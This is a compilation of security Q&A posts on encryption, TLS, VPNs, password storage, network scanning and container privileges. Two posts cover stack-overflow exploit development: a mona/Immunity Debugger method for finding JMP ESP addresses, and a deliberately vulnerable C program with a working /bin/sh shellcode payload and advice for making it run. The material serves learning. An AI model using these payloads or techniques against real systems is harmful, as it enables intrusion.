OpenSSL 1.0.1t does not decrypt with -bf if encrypted with OpenSSL version 1.1.0e I have encrypted a file with the same command line with two different openssl versions: 1.0.1t and 1.1.0e. Then I try to decode both with version 1.0.1t and I cannot decode the latter.

Can you please tell me why and where am I wrong? How can I encrypt and safely decrypt without changing the command line: openssl enc -d -a -bf -in <infile> -out <outfile> -pass pass:<password>?

If you would like to answer on more question: how can I make the cipher more resilient?

Here's how to reproduce the situation.
On the host with openssl 1.0.1t:

user@101t$ openssl version
OpenSSL 1.0.1t  3 May 2016
user@101t$ echo "pippo" > prova
user@101t$ openssl enc -e -a -salt -bf -in "prova" -out "prova1.enc" -pass pass:pippo

On the host with openssl 1.1.0e:

user@110e$ openssl version
OpenSSL 1.1.0e  16 Feb 2017
user@110e$ echo "pippo" > prova
user@110e$ openssl enc -e -a -salt -bf -in "prova" -out "prova2.enc" -pass pass:pippo

Copy prova1.enc to the host with openssl 1.0.1t and then into it type:

user@101t$ openssl enc -d -a -bf -in prova1.enc -out x -pass pass:pippo
user@101t$ openssl enc -d -a -bf -in prova2.enc -out x -pass pass:pippo
bad decrypt
139637189576336:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:516:

Thanks in advance

The default digest used for generating the key from the password changed in OpenSSL 1.1.0. In versions prior to that md5 was used - which is now considered insecure. In OpenSSL 1.1.0 the default digest is sha256.

In order to decrypt a file in OpenSSL 1.0.1t generated by OpenSSL 1.1.0 you should add "-md sha256" to your command line arguments. If that is not possible then you can also force OpenSSL 1.1.0 to use md5 as its digest by adding "-md md5" to the encryption command line arguments. This is obviously insecure but should work.


How to securely store decryptable passwords I'll quickly outline the purpose of our application:

The user logs in using his username and password. He will receive a list of servers he can connect to. After choosing a server the connection to this server is established.

Some more details about the application that complicate our requirements:

One user can have multiple devices
Server lists can be shared amongst multiple users

What's the best way to store the server passwords on our application server?

Ideas that we already played with:

Symmetic encryption using the user's password as key

Won't work with shared list
Would need to store the user's password on the client if don't want him to log in every time he's using the application

Symmetic encryption using the user's password hash (bcrypt) as key

Won't work with shared list
If an attacker has access to the server he will be able to decrypt the server passwords using the user's password hash, that is also stored in the database

Using bcrypt to securely store the passwords

Won't work as we will need the plain password to connect

Storing the passwords in plain text

C'mon...

Any ideas are more than welcome.

Symmetic encryption using the user's password as key

This is the base of a correct solution. If you want to store it securely, you need to encrypt it with a key you don't have. So that leaves the user's password.

To solve the problems, you just need more layers of indirection.

Shared lists are encrypted with a single key, and that key is in turn encrypted with the key of each user that has access to it. That way, multiple users can decrypt the decryption key and access the list.

To avoid logging in each time, use an additional key that the user decrypts with his password. You hold on to this key, so that reauthentication isn't required, without storing the password.


What is the importance of an ISP maintaining IP-Assignment logs? I was reading an article which explained that there is a growing movement to force ISP's to store IP-assignment logs for DHCP connections for longer periods of time in order to fight cyber-crime. However, I don't understand why this is necessary. If an ISP no longer has the information associated with an IP address, why couldn't a company like google be asked what account signed in on a given date, using a given IP address and use that to track someone?

It's certainly possible to do it that way, and indeed investigators will sometimes ask many different parties for information related to a case to piece together scattered evidence, but why would you want to obtain this information from Google when it is much easier and more reliable to obtain it directly from the source (the ISP)? After all, the ISP is the entity that actually assigns IP addresses to its customers, so they're going to be the ones with the most accurate information about who has what IP address at what time. The ISP also has an incentive to identify and remove malicious users from their networks. Asking Google can be hit-or-miss; for example, what if the malicious user's IP address changes right after signing into Gmail but before he performs the illegal activity? Or, more likely, what if he never signs into Gmail or any other service at all around the time of the incident?

Also, think about it from Google's perspective. If the illegal activity neither targeted Google, nor was it performed from Google's network, why should they be willing to get dragged into this and be forced to spend the time and resources necessary to locate the information when the ISP could provide it much more easily? The only relationship Google has with anything is that the person who did it might have an account with them and might have logged in around the time of the incident.

While a court could force them to provide some information about the IP address in many jurisdictions, they're certainly not going to be very happy about it or eager to do it unless it's an extremely serious case and you have evidence that the person is a Google account holder. It's also bad for PR, as tech companies are increasingly trying to demonstrate that they respect privacy after the Snowden leaks. They publish the number of government data requests they receive, and if this number is high, the news media will pick it up and it's bad for business. If you found out that Google is the first source of information authorities turn to in investigations and Google happily hands over anything they ask for, would you still be willing to trust them with your personal data? I certainly wouldn't.


Security vulnerabilities of POST over SSL I work for a small company, developing an ASP.NET web-application. Recently, we've had the requirement of exposing an API endpoint come up, such that an automated script running in the cloud can periodically pull back some specific JSON-formatted data from the app via a web request. The implementation of this I can handle, but I wasn't sure regarding security concerns. I was reading about HMAC this morning & liked the look of it, as it seemed quite similar to the security protocols of other APIs I've used previously. However, it made me wonder what the value of some of the steps were.

If a client and server have securely agreed on a passphrase / key via prior communication, what risk is there in sending a POST request with the passphrase as part of the body of the HTTPS request, such that the passphrase identifies the user? Trying to look this up I came across Replay Attacks and similar, but can these work over SSL & given the client-side & server-side environments can both be trusted?

Edit: Adding a bit of clarification based on a user's comment below. Our intended use case is to have a script run periodically (once an hour, day, etc) either on one of our servers or in the cloud. It will pull back specific information from our app, as well as third-party APIs, & update a cloud-based spreadsheet for our business development team. It's something we ideally want to leave running & not require any user intervention. Our app normally requires login with a username/password to generate a temporary session, but we were hoping to simplify the process a bit & just provide an API for the script to securely retrieve specific data.

Assuming you mean TLS instead of SSL itself (which is far older and broken), it is absolutely fine to transmit the password in a POST request. This is standard and how virtually every major and secure web authentication service works. You just have to make sure that the TLS is configured properly. TLS mitigates all the attacks you are worried about. It uses HMAC (or a similar authentication) for integrity, and mitigates replay attacks, reflection attacks, and similar issues that affect authentication systems. Note that new vulnerabilities may be found that require either upgrading the version of TLS or manual mitigations. SSL Labs can test for known vulnerabilities in a TLS implementation.


Exploit Development on windows environments I have seen on many Poc exploits this line , but I wonder how people do this using immunity debugger,or do we need to reverse itself the windows? is there a way to do this using mona or some easy way ?

# Return Address for Windows 7 32b SP1
ret = '\x25\xDF\xB8\x68'

Once the stack is properly overwritten you will see that ESP (stack pointer) has the address where the payload (reverse shell) starts.

As this address changes after each reboot, it cannot be used in the exploit code. Since the address is stored in ESP, all we need to do is find a JMP ESP or PUSH ESP in order for the program logic to jump to our shell code.

Using Mona within Immunity debugger:

First search for all DLL's that are used by the program, this can be done by typing:

!mona modules

This should give a list with DLL's. Now carefully search for a DLL where DEP and ASLR is not enabled. Additionally, make sure the address does not contain any bad character such as null bytes, carriage return and line breaks.

Once that is found, double click the DLL and search for the commands:

JMP ESP

or

PUSH ESP
RETN

In case no results are found, click "C" in the menu bar and search for the opcode "\xFF\xE4" (this is JMP ESP) by typing:

!mona find -s “\xFF\xE4" -m [dll file]

If the PUSH ESP is found, this memory location should be used in order to jump to the shell code.

So what you see in those exploits are memory locations where JMP ESP is performed.


Why does TLS1.3 use same cipher suite for RSA and ECC key pairs? As per this answer RSA and ECC certificates should use different cipher suites. I tried to test it. It holds true for TLSv1.2. But for TLSv1.3 I see same cipher suite being used for both types of certificates(Tested via Google Chrome=>Dev Tools=>Security). Why is that?

Here is how I generated an ECC cert:

openssl ecparam -out nginx.key -name prime256v1 -genkey
openssl req -new -key nginx.key -out csr.pem
openssl req -x509 -nodes -days 365 -key nginx.key -in csr.pem -out nginx.pem

Generating RSA cert:

 openssl genrsa -out rsa.key 2048
 openssl req -x509 -new -nodes -key rsa.key -days 7300 -out rsa.pem

With TLS1.3 both the certs result in usage of same cipher suite:

The connection to this site is encrypted and authenticated using TLS 1.3,
 X25519, and AES_256_GCM.

With TLS1.2, RSA cert:

    The connection to this site is encrypted and authenticated using TLS 1.2,
 ECDHE_RSA with X25519, and AES_256_GCM.

With TLS1.2, ECC cert:

The connection to this site is encrypted and authenticated using TLS 1.2,
ECDHE_ECDSA with X25519, and AES_256_GCM.

TLS Cipher suites define several parameters including key exchange, encryption and hashing and must be agreed between clients and server.
The use of RSA or ECC certificates does require different key exchange parameters (specifically *_RSA vs *_ECDSA). Whilst just about everything else can be the same in a TLS connection, the actual cipher suite definition must be different when connecting with an RSA vs EC certificate.
https://tools.ietf.org/html/rfc8422#section-2
One thing to note is that the naming scheme of TLS 1.3 cipher suites has changed vs TLS 1.2, which means the above may not be obvious.


When is it posible to sniff VPN traffic? I have created a VPN service using Routing And Remote Services on Windows Server 2008 and I haven't configured any Server Network Policy yet. There is only one user for connecting to VPN and all of our members use that single username.

Yesterday while we were surfing the web (checking mails) using that VPN connection someone hacked into our mail account, fortunately he was a white-hat and he told us there is a problem in our VPN server.

So if the hacker could connect to the VPN using that single username, is it possible for him to sniff all VPN traffic? Or is it more likely that he hacked into our mail account using other ways? We are really confused because the only way we could think of is that hacker has a full control over our server.

Between two endpoints of a VPN connection that uses a properly-negotiated secure algorithm, one cannot decipher the encrypted traffic. Some things that can keep that from working right (in order of likelyhood):

Your attacker got between you and your VPN or between your VPN and your destination allowing them access to the cleartext.
Your VPN system didn't authenticate the host on the other end. You setup a secure connection to your attacker.
Your VPN system is configured in an insane manner, possibly allowing very weak keys or just encapsulation with no encryption.


Use a Common Firewall for two Different Subnets I want to implement a security scheme in a new network configuration. There are two buildings for the client:

Office Building 1 (OB1) with address 10.0.0.0 / 255.255.255.0,
Gateway 10.0.0.1 ( Router1 Zyxel ). In OB1, is installed also the
domain controller ( 10.0.0.250 ) where the users of OB1 have already
joined to.
Office Building 2 (OB2) with address 10.0.1.0 / 255.255.255.0,
Gateway 10.0.1.167 ( Installed as Internal Address (lan) of a
Firewall ) Firewall wan1 device has address 192.168.5.199 and uses
192.168.5.2 as Router2 (Zyxel) address.

Router1 provides internet access for users of OB1 and Router2 provides internet access for users of OB2. In OB2 Firewall has configured for protection and web filtering for 10.0.1.0 network. Both buildings are connected through VPN implemented between Router1 and Router2.

I would like to know:

how to setup firewall protection of OB1 ( network 10.0.0.0 ) using Firewall Device in OB2 ( perhaps with some network re-configuration )
how to setup users in OB2 ( network 10.0.1.0 ) to join the domain implemented in Domain Controller which is part of network 10.0.0.0 in OB1

I may be way off here, but if one building has the domain controller, and the other has the firewall, why don't you just set traffic of OB1 to route through the VPN to your gateway(10.0.1.167). There isn't sufficient information to really give you much guidance. Questions that I have are, how is your VPN implemented? Are you willing to take a hit on your bandwidth if you route all of your traffic across a VPN just so it can go through a web filter? What if one of the buildings goes offline, how will it affect the other? In short, it sounds doable, but is that going to be the best solution long term?


nmap xml file has only one row I'm using Zenmap to discover some hosts. I save the scan as an nmap xml file. Then I import the xml file into excel to view the data.

There are thousands of rows of output in the Zenmap console, but only one row in the xml file.

I viewed the xml file in xml notepad and I can see everything. So this may be more of an excel question than an nmap question.

thanks

This was an excel thing. When importing, click on the hosts column where it says "table" and then use the two arrows button to expand the table.


64bit buffer overflow fails with SIGILL, cannot understand the reason I have been doing 32bit buffer overflows for some time and I decided to try some 64bit overflows, to explore some more realistic scenarios. I have compiled my code with gcc -fno-stack-protector -z execstack -no-pie overflow.c -o Overflow.

Here is the code:

#include <stdio.h>
#include <string.h>
void function(char *str)
{
    char buffer[32];
    strcpy(buffer,str);
    puts(buffer);
}

int main(int argc, char **argv)
{
    function(argv[1]);
}

Using gdb I determined how many bytes I need to write to control the return address. This is 40 bytes.  So at first I tried to write 40bytes of "A" and then 6bytes of "B" to test the control of the return address.

Here is a screenshot:

I found and tested a 23 byte shellcode that executes "/bin/sh", so I try to write a nop-sled of 13 bytes, the shellcode and the first 6 bytes of the return address that need to change. So I come up with this (in gdb):

r $(python -c'print "\x90"*13+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+"\x10\xe1\xff\xff\xff\x7f"')

I have set 2 breakpoints before and after the execution of strcpy and examine the memory.

This is the stack before the strcpy:

where at address 0x00007fffffffe138 is the return address of function function

And this is the stack right after the strcpy execution:

So in my understanding, after I press c to continue the execution, I must "return" to the nopsled and then execute the shellcode in gdb.

Instead I get a SIGILL, for illegal instruction.

I cannot figure out why this is happening, any help/suggestions/pointer would be much appreciated.

First off (only because you mentioned "realistic"), this is not exactly a realistic scenario for a 64-bit system. The main reason is that the address space is much much larger, which makes it much more difficult to predict and land within your NOP sled. For a more detailed explanation, see this answer. Also, no-execute-stack (NX) is almost universally enabled these days.

Instead, you typically will want to use return-oriented programming (ROP).

That said, let's address your current scenario. I spent way too long trying to figure out what was wrong, but it looks like you may be doing everything correctly (assuming you have the correct address to return to).

Looks like that's actually a 27-byte shellcode, but you had the correct amount of padding anyway to equal 40 bytes to the return address, so that's fine.

Turns out, the way you get it to work is to try it from outside of GDB. You may notice, if you step through it more slowly, that the SIGILL is actually occurring past the syscall instruction, but GDB is somehow fudging it so it seems to happen prior. I scrolled back up while stepping through, and it appears the push rbx instruction was throwing off GDB; it was trying to dereference 0x68732f6e69622f (which is just /bin/sh in hex representation) and complaining about that, which maybe caused other things to go wrong (GDB was also inserting segfaults and ghost instructions for me as well). Maybe somebody else has a better explanation for why this occurs.

So, try running it outside of GDB. You will almost certainly need ASLR to be turned off, and you'll need a way to get the address of the buffer. You can add a print statement to the original source to print the address with %p.


Checking if my username X is the same guy as username Y I'm creating a new alias online for creative works that I don't want anyone I know in real life to see, but I'd like it to be possible for online people to check that things copyrighted and licensed to my old alias (username X) are also copyrighted and licensed to my new alias (username Y), but without me having to reveal my username X identity via username Y identity or vice versa. If someone sees that something I (under username Y) use is owned by username X, I need to tell the person that I'm not a thief/infringer because I'm the same guy, but I can't say that I'm the same guy because it's very googlable and it can spread viral online.

I was thinking if it would be secure to say on my username X account "If you think someone stole my works, use a CRC32 check on this username and the suspect's username and if the code is insert code here, that means that I am that person."

Is this secure? Could it be possible that an imposter abuses the code and creates an alias that just fits the code in order to steal my identity? What algorithm should I use that is safe enough to do this?

This is really a licensing/permission question. It can only be addressed by adding the information "Used with permission from X" to anything posted from User Y that is using something created by User X. At this point both accounts are completely separated and you are using User X content with permission. Now User X has their License(s), and User Y has their License(s), and User Y can use it with permission(if you didn't grant yourself permission I'd be VERY surprised).
The only place this could be an issue is when User X licenses everything but their own usage to a third party. At that point you actually have to ask permission from that third party, otherwise you're violating your own licensing agreement as far as they know!
At that point however they will know, and there is no way to prevent that should that scenario come up.

Something to be careful of!
This is really just Security Through Obscurity and isn't really security. It only delays someone in finding out who you are. When they have discovered that, then this means nothing if they tell someone. Really what you're doing is impersonating someone who does not exist, and pretending you aren't you. Unless you go the REAL extra mile and take legal steps to change this, you're still you.


How to evaluate the overall safety of a web offering? Background: I have been trying to find a simple app to document my children's milestones in life.

I have been signing up for a couple of free services and trying to evaluate their offerings. I evaluate ease of use, speed, potential cost, etc... but during this process I started to wonder which one of these services are actually 'safe' . And by safe I mean my account information (like password) and children's data (pictures, videos, etc..) are stored somewhere completely unknown.

So I tried to trace the origin of some of these applications, but it seems harder than I thought. Most of the apps do not have any information on where they are based out of (country). I really got suspicious when I started seeing language choices for some of the sites (some I can't even recognize) I was also suspicious when I noticed that some of these offerings 'look similar' (theme, etc...).

So to circle back. What factors can one use when evaluating safety of web offerings? Is there an easy way to trace an application back to a trusted company? Is the safest thing to do is to use a well-known, established site, like Facebook or Google+ even though their features for a particular need is limited?

What factors can one use when evaluating safety of web offerings? Is there an easy way to trace an application back to a trusted company?

This is an opinion-based question, but I still apologise for giving a very non-objective answer.

How would you answer your own question for a different service altogether - say, a house renovation firm, or a car? Most of the issues would not be too different.

I can think of some parameters, most of which are off topics on SE:

brand strength: quantity has a quality all of its own. And large firms and established brands have more budget and much more to lose if they screw up. So by and large, you want someone that's too big to fail you. Yes, it's true that to a big firm, a lone, even mightily pissed customer is a negligible nuisance that will be ignored - but the truth is, as an individual you would be a minor nuisance to everybody except very, very small start-ups. Demoting yourself from "minor" to "negligible" purchases the advantage of a larger entity that won't ignore larger issues.
brand "sincerity": a service calling itself "Googgle" or "Googlle" is likely up to no good, or at the very least has serious marketing issues. Which probably translates in a too-cavalier attitude towards mostly everything, including security and privacy. Thus, I agree that the similarities you lament between different services are to be considered suspicious (or may indicate a large use of standard free tools to develop a web site, which may in turn indicate a small-scale operation thrown together "to see how it goes").
reputation among customers: this is relatively easy in real life, especially in a small town where everybody knows everybody else. That's the key - knowing. On the Internet you need to surf to find people's opinions of something. I usually employ the following rule of thumb:

no opinions: this service or product is mostly unknown. Handle with care.
lots of bad opinions, few good opinions: probably a bad choice, even if I'll want to read several of those opinions to understand the timeframe/version/context they're referring to. In your case you might have lots of people fuming furious, and vocally so, at not being able to upload selfies from FooPhone 1.2x, or some other feature you don't value a whit. Those opinions you would discard.
some good opinions, no bad opinions whatsoever: I'd be somewhat suspicious. Several firms and services have been known to try, and succeed, in removing bad reviews - instead of the reasons thereof.
good opinions with similar wording, grammar constructs (and errors), or structure: another very bad sign of someone who bought good reviews wholesale. If overwhelmed by "normal" good opinions, it could be an error in judgment, long since amended. If most good opinions are astroturfed, keep the hell away.

product/service quality: this, only you can evaluate.

other similar services/products out there?
what differences? Are they important?

technical telltales:

is the site properly protected?
does it employ some kind of third-party review?
if you register and e.g. fake losing your password, what do you get?

an email with your old password in the clear: I'd take Gandalf's advice.
an email with a "reset your pass" link valid for a few hours only: good.
if you also fake losing the email (e.g. you revoked the email service and forgot it was linked to the site), does pressing the case with the service support solve the problem? If yes: BAD sign. If they require proof of identity through secure means: good. If they don't attempt a solution: middling-bad case.

other information

the contact page, when available, can tell something about the firm's whereabouts.
domain tools such as WHOIS and DNS lookups can tell you the owner of the domain, the location of the web server(s), the location of the web server(s); then you can investigate other customers of the same domain service and server hosting. Anonymous or "protected" domains aren't very conducive to trust, and low-cost, "no question asked" servers, maybe hosted in rogue States, are obviously a very bad sign.
the same tools can tell you when a domain was first established.
tools such as the Web Archive and the Wayback Machine can probably be used to see how the domain evolved; whether it moved from selling used cars to selling dental surgery advice; all of which is valuable information.


Does it affect the probability of successful trasmission if a jammer hops channels? Suppose an attacker tries to jam a wireless communication. There are 10 channels available and the legitimate sender chooses one of them of transmission randomly every 1s. If it transmits data for 5s then it will change channel 5 times. Also, assume that the attacker can jam only one channel at a given time.

If the attacker is fixed, ie there is only one fixed jammed channel for all five seconds, then the probability that the sender will successfully transmit all five seconds (all 5 chunks of data will be transmitted successfully) is 0.9^5.

What will this probability be if the attacker also hops every 1s?

There are two approaches I have encountered. One is to say that no matter what the attacker does, the "experiment" for the sender is the same; it is that of randomly choosing a channel out of 10 five times. So the probability is the same as before.

The other is that there two sets of channels, set S={c1,c2,c3,c4,c5} and set A={c1,c2,c3,c4,c5}, the first contains the channels that the sender has chosen after 5s and the second the channels the attacker has chosen. The probability we are asking originally can now be seen as the probability that these two sets have no common elements. Which ends up being (0.9^5)^2.

Which of the two is correct? And what is wrong with the wrong one?

Assuming that both, the legitimate sender and the jammer, are picking their channels at synchronized intervals using independent randomness, the probability for successful transmission is indeed (9/10)5.

The logic in your second approach is not correct because for a successful transmission, it is not required that both sets of channels have no common element. It is sufficient if the channels are different at any given point in time.

Consider the following example of unaffected transmission.

used channel:      1 2 3 4 5
jammed channel:    8 5 9 7 7

Even though both sets overlap on channel 5, it is only jammed during a period where it is not used.

Note my weasel wording in the first paragraph, though. It is highly unrealistic that both parties have synchronized intervals. But if they haven't, a jammer interval can overlap two sender intervals (or even three if the period is not exactly 1 second) and the probability becomes more complicated.


Does turning off an iPhone make it safe from "juice jacking"? Would turning an iPhone off when charging from an untrusted charger make it safe from juice jacking?

Not really — depending on your phone

"Juice Jacking" works by offering a malicious user an approach vector to gain access to your phone during the charging process by leveraging the USB data/power cable to illegitimately access the phone’s data and/or inject malicious code onto the device.

Only a few devices don’t expose the data if you power them off completely. Some phones will, despite being powered down, still power on the entire USB circuit and allow access to the flash storage in the device.

The problem is that most smartphones are configured to just connect and dump off data, so anyone who has malicious intends could put a system inside of one of these kiosks that when someone connects their phone can suck down all of the photos and data, or write malware to the device. Some phones are even accessible even though you configure the USB transfer to be "off". As soon as you plug them in, they might instantly switch into USB transfer mode.

Tips

The safest route for charging your device is to use the supplied power cord that plugs into a regular electrical outlet.  If you must use a random charging kiosk, the safest option may be to completely power off the device before plugging it in. Yet, depending on your phone, that's no guarantee that you won't be leaking data.

To add security, you should lock your phone. When your phone is locked (truly locked, meaning "inaccessible without the input of a PIN or equivalent passcode") your phone should not pair with the device it is connected to. iOS devices will only pair when unlocked.

Another option would be to jailbreak your iOS device to lock and unlock the device’s pairing capabilities with tools like "pairlock" (http://www.zdziarski.com/blog/?p=2307).


Is there a type of login security that is keylog and screen capture proof that doesnt require a 2nd device? I am looking for a login security measure where it is keylog and screen capture proof. Is there some type of login security like a 2FA without the need of a second device, but remembering a pattern or a formula which is used to solve a dynamic puzzle that is given to the user on login?
Say I am shown 100 words during login. The correct word is an adjective that start with the letter S only or the correct word is something to do with the color blue.

There are several variations on this theme.
One involves asking X digits, different each time, out of a longer PIN (this was used by a large online banking firm, not as their only line of defense of course, before the PSD2 era): "*?**??", then the next time you're asked "?*?**?" and so on.
Another possibility is displaying several words, and your "secret" consists in, say, a number from 1 to 5 and your password. So if your password was APQXJ and the secret was 2, you'd choose "Safe, Spot, Squid, Oxygen, Eject" - the second letter of each word will form the password. Obviously, spotting you enter the password twice would very probably give the game away unless the words were chosen very, very carefully.
A login system some friends and I set up just for the laughs a long time ago at the University employed trivia - things that no one but the user would say or know, or be able to tell with the appropriate speed. This was intended to prevent someone from even asking the real user under duress - the time taken to ask the question and get the answer would prevent the login from working. But the setup time was prohibitive (I still remember some of the questions: "Where was the shadow?" and you would have to answer, "Under the elm", typing the "U" within three seconds. There were at least one hundred such questions; mine were almost all SF trivia or quotations, and it took a weekend to set them up).
But I am not clear about your question. Are you looking for ideas, or do you need nomenclature, or do you want to know where to find a ready-made system that would do this?


VPN through VPN question I was wondering about data consumption and VPN through VPN. If I have a router connected to a vpn server within the same country as I am, then create another VPN tunnel through a software on my comptuter that is connected to a VPN in another country, which of the following is happening:

The second VPN tunnel exits to the foreign country from the router VPN server
The Second VPN tunnel ignores the first VPN server and goes directly from my computer to the specified country

If anyone could answer this, I'd be most grateful.

Assuming the router is set up correctly ALL traffic would go through the first VPN on the router and then it would use your software and create a 2nd VPN connection.
no vpn connection should be ignored.

obviously though it depends on the network set up.


ciphersuites which does not need certifcates, RSA, SHA1 and use AES among opensll 1.0.2j, TLS1.2 supported ciphers list DSS based ciphers need certificate?
Which DH based ciphers do not need certificates among opensll 1.0.2j, TLS1.2 supported ciphers list?

Yes, DSS suites needs certificates. In practice, many TLS libraries don't support these cipher suites anyway, so it probably doesn't matter.
You're basically going to be limited to the PSK (pre-shared key) suites.  There are several of these suites that support DHE and AES.  Support for these cipher suites while more widespread than support for DSS is still going to be more  limited than for the more popular suites, so you'll have to do some research to determine if this is a feasible option for your application.  I don't know off hand if these are available in OpenSSL 1.0.2j, but if not, you're probably out of luck.


Is my website vulnerable if I use Access-Control-Allow-Origin * for a section? I have a map (openlayers) which is integrated in a website made on wordpress. So, the wordpress has almost nothing to do with the map. The map is only included in an article.
The wordpress site is on www.example.com. The map is on mymap.example.com
In some article from www.example.com:

The map.js script includes a json file generated with PHP on https://mymap.example.com/ subdomain.
My problem is that I want to let my visitors to be able to use the map, but they are unable because the json file is blocked by CORS policy.
As the JSON file is created by PHP, the solution seems to be to set header Access-Control-Allow-Origin: *, just for this file.
The question is:
Do I get vulnerable if I do this ? Would that be a hole for the wordpress site ?
If the answer is yes, can you give me an example ?

This question has an answer here:
https://stackoverflow.com/questions/12001269/what-are-the-security-risks-of-setting-access-control-allow-origin
In short, it allows any website to make calls to your API throught your client's device. If your client enters malicious page and his browser executes the page's malicious JavaScript, then his browser can make malicious requests to your API, and your API won't know the difference. But if your API is not providing any sensitive/secret information (as I think is the case here) then it doesn't matter.


Password database vs flat encrypted file I am considering putting a forward a proposal to use a password database/manager instead of a flat (PGP) encrypted file for managed passwords for our team to access. I would like to hear some suggestions for the pros and cons of doing this. I am personally for using a password database due to the extra user processes involved in using a flat file. For this discussion I would not like to focus on choice of encryption itself as any password manager can match PGP in robustness/speed. To get us started here are some of mine below:

PROS of password database

Does not require decryption, amending and re-encryption of data upon changing or adding a password.
No risk of unencrypted data being written to disk (users could pipe to text-editor). Shredding of file may not be conclusive based on file system used.
Adding/removing of staff requires decryption and re-encryption of data with new split key.

CONS of password database

Perceived or actual lack of compatibility on some platforms.
Potential for no CLI to be supported.

By sharing passwords, they are already 'compromised', which might be an ok risk for your environment. You know you have to change ALL shared passwords, even the encryption key whenever you lose a member of the team, so there is not going to be a lowered workload by using either method.

What you are really talking about then is simply a 'user logistics' issue. There is no 'security' issue here to discuss, as long as passwords/keys are changed when someone leaves. Use the tool that fits your team workflow best.

As a side note, I'd REALLY like to suggest you limit the number of shared passwords to an absolute minimum. I believe LastPass allows you to share credentials with another user without them being able to read what the password is (works with web logins). Other solutions might be similar.


Why can SSH negotiatie two different encryption and authentication algorithms? I recently found out, that according to the RFC, SSH can negotiate two different cipher (and MAC) algorithms for server-to-client-encryption and for client-to-server-encryption (check section 7.1. for reference).
In section 6.3 this is also asserted:

The ciphers in each direction MUST run independently of each other.
Implementations MUST allow the algorithm for each direction to be
independently selected, if multiple algorithms are allowed by local
policy.  In practice however, it is RECOMMENDED that the same
algorithm be used in both directions.

I am now wondering:

Why was this allowed? Has there been a use-case for this odd behaviour back in 2006 when the RFC was published?
Is there any SSH server out there which actually implements this? OpenSSH appears not to do so.

Why was this allowed? Has there been a use-case for this odd behaviour back in 2006 when the RFC was published?

It is mentioned in the RFC 4521

4.3.  Policy Issues
The protocol allows full negotiation of encryption, integrity, key
exchange, compression, and public key algorithms and formats.
Encryption, integrity, public key, and compression algorithms can be
different for each direction.
The following policy issues SHOULD be addressed in the configuration
mechanisms of each implementation:

Encryption, integrity, and compression algorithms, separately for
each direction.  The policy MUST specify which is the preferred
algorithm (e.g., the first algorithm listed in each category).

I haven't seen an attack to consider the separation. The RFC only uses the SHOULD. This is high probably a conservative approach so that in a future attack instead of updating the standard in a bulk, replacing the SHOULD to MUST will suffice.

Is there any SSH server out there which actually implements this? OpenSSH appears not to do so.

I've looked at some of them and couldn't see one.


school google account on my school computer I'm logged into my school Google account at home. Can what I search at home on my own computer be checked by my school even though I'm not using their computers?

First of all, Google search terms and history is not public and it is not accessible to everyone or your organization who issues you an email account until you have a policy or agreement. But if you synchronize your searches and bookmarks across your all devices then the school account branch (Which holds and manages passwords) can access it.

Google has some strong policies against this. (Privacy policies)

  If you have a school account like "somename@xyz.school.edu" (just an
  example)

They can read your Inbox/ messages and emails.
They can't watch search history and bookmarks if you are not syncing your data with an account in browser.

That's why I will recommend you to use the personal accounts and minimize the use of school/ organizational emails when not needed.


How to minimise risk to sensitive data in temp files in shared hosting environment before encryption? openssl_pkcs7_encrypt() requires the data to be encrypted to be read from a file and so unfortunately it requires sensitive data to be written to temporary file before being encrypted.

In a shared hosting environment, what steps can I take to minimise the risk of the sensitive data being read / stolen when having to momentarily write it into a temp file?

The code:

$file = tempnam(sys_get_temp_dir(), 'mail');
file_put_contents($file, $body);
$encrypted = tempnam(sys_get_temp_dir(), 'encrypted');
if (openssl_pkcs7_encrypt($file, $encrypted, "cert.pem", NULL)) {
    @unlink($file);
    $body = file_get_contents($encrypted);
    @unlink($encrypted);
} else {
    @unlink($file);
    @unlink($encrypted);
}

The few things that concern me are:

sys_get_temp_dir() depending on the environment / host, this can vary.
Would calling file_put_contents($file, ""); before the @unlink($file) make a difference?
I'd imagine a throw…catch around everything with the @unlink calls would also help

If you don't control the hardware, the risk is huge no matter what you do.  The values could be pulled straight out of a memory dump if someone really wanted.  Even if you manage to make the temp file exist for only a short time, you still have to worry about securely deleting it as a file deletion doesn't actually wipe the data, it just marks the space as available.  It is, in fact, probably more dangerous to delete the file as the sectors then become available for another user to grab potentially.  You pretty much have to trust the hosting provider to provide the isolation and have to make sure you securely wipe the file after you are done with it.


Running Docker container as Root user Running a Docker container process as root inside the container is considered insecure. But I have some doubts that I need to clear:

Is it still the same kind of insecure even if the container cannot mount the docker socket or any part of the root file system from the host?
Is it still the same insecure if there is a one-to-one mapping of a container and virtual machine? For example, you are running just one container per VM?
Is it still insecure if the container is not running as privileged?
What's the difference between running as root and as privileged?

Apart from the above, is there some simple way to fake root? How can we map the user id 0 to be something like a bigger number 1001 on the host?

Answering your questions:

No is not the same. If you don't set on a container access to docker socket, that means the container will not be able to create, check, delete or other actions on host docker containers, that's all. But in the container the root user can still "break" its software.
Running only one container per Virtual machine means that if somebody hack your container and escape from it in someway, it will access only to your VM. It could be a good practice but excessive in my opinion. You can create containers on different networks to isolate them although in this way if they escape they will access to all containers.
To run containers "not privileged" is more secure than to run them as "privileged". That's obvious.
To run container as root means the processes in the container will be with all the privileges in the container. To run container as privileged means that container will have all the privileges even on the host. This is usually done in some special cases... let's suppose you have a container that needs access to physical wireless network interface on host. For sure that will be needed to be launched as privileged or the container will have no access to the device.

Hope it helps.


Open ports on router I have a TP-Link TD W8970 modem/router. Just for fun i tried to perform a port scan on it. I found this:

$ nmap -p 1-65535 -n 192.168.1.1

Starting Nmap 6.00 ( http://nmap.org ) at 2016-01-21 16:17 CET
Nmap scan report for 192.168.1.1
Host is up (0.0097s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
23/tcp    open  telnet
80/tcp    open  http
1900/tcp  open  upnp
7547/tcp  open  unknown
50393/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 54.03 seconds

Aside from ports 23 80 1900 (even though i have upnp disabled), what about the other ports?

TCP 7547 is used for CPE WAN Management Protocol (CWMP) any may only be exposed to your internal interface (run a scan on your public IP from outside your network to see if this service is exposed to remote actors).  This management protocol can sometimes be disabled in the management GUI, other times it's possible only at the command line (Telnet or SSH if your device supports it).

